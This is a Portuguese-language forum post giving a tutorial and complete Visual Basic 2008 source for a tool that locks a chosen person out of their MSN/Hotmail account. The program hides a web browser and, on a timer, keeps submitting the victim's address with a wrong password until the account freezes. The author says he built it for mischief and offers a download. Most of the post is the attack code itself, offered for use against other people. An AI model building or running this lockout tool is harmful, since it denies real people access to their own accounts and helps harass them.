Forum ViSiBLe

Bem Vindo
Se registrares neste fórum, podes fazer parte da nossa comunidade.Prezamos aqui pela participação ACTIVA de cada membro.


Atençao: Nao precisa Confirma a sua conta no hotmail (Basta Registrar e Começar a participar do forum.)
Precisamos de administradores e moderadores!! Clique Aqui!

Anuncio


    [Tutorial] Fazendo o MSN travar Freezer

    Compartilhe

    MrViSiBLe
    Fundador ViSiBLe
    Fundador ViSiBLe

    Número de Mensagens : 3688
    Idade : 24
    Localização : Cuiaba
    Agradecimentos Agradecimentos : 864
    Data de inscrição : 10/12/2008

    [Tutorial] Fazendo o MSN travar Freezer

    Mensagem por MrViSiBLe em 7/20/2010, 21:38

    Ola pessoal, sou novato no forum

    Fiz esse project por sacanagem!

    "Oque se pretende com esse Programa"
    -Fazer a conta do Hotmail Travar Freezer que impossibilita a pessoa usar ela!

    "Oque vc tem que ter para se fazer esse Programa"
    -Para esse Tutorial usaremos o Visual Basic 2008


    Ok, vomos trabalhar!

    1-Abra o Visual Basic 2008
    2-Inicia um novo project e escolha qualquer nome
    3-Criaremos um textbox
    4-Criaremos um checkbox com nome de "Hide"
    5-Criaremos 2 buttons um com texto "Freeze e outro com Texto Unfreeze"
    6-Criaremos um webbrowser com visible set FALSE e colocaremos a url:http://mobile.msn.com/hm/folder.phpx
    7-Criaremos 3 label -o primeiro com texto "MSN Adress", Segundo com Texto Status" e o terceiro deixaremos sem nada! (Nada mesmo)
    8-Criaremos um timer e deixaremos ele FALSE e Interval colocaremos 100 caso o seu nao esteja assim por padrao

    Depois clicaremos 2 vezes em Form, e usaremos o Codigo abaixo!

    remova todo o codigo e mude por esse!!

    Código:

    Imports System.Threading.Thread
    Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    Timer1.Enabled = True
    Label3.Text = "Freezing..."
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    On Error GoTo errordetected
    WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value", (TextBox1.Text))
    WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value", ("pas13465"))
    Sleep(2000)
    WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
    TextBox2.Text = Val(TextBox2.Text) + Val("4")
    If TextBox2.Text = "20" Then
    Label2.Text = "Frozen!"
    End If
    GoTo done
    errordetected:
    Label2.Text = "Frozen!"
    WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
    done:

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
    Label3.Text = "Ready"
    MsgBox("MSN UnFrozen!")
    Timer1.Enabled = False
    End Sub

    Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
    If CheckBox1.Checked = True Then
    Me.Hide()
    End If
    End Sub
    End Class


    [Você precisa estar registrado e conectado para ver esta imagem.]
    Download: [Você precisa estar registrado e conectado para ver este link.]
    Enjoy! aproveite!!!

    Comente! critique! Pergunte!!

    Bom dia a todos.


    _________________
    MrViSiBLe Gosto? agradeça. clique em [b]+ Ta Ai do lado Olha  >>>>>Nao Custa Nada[/b]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]
    [Você precisa estar registrado e conectado para ver esta imagem.]

      Data/hora atual: 12/5/2016, 03:25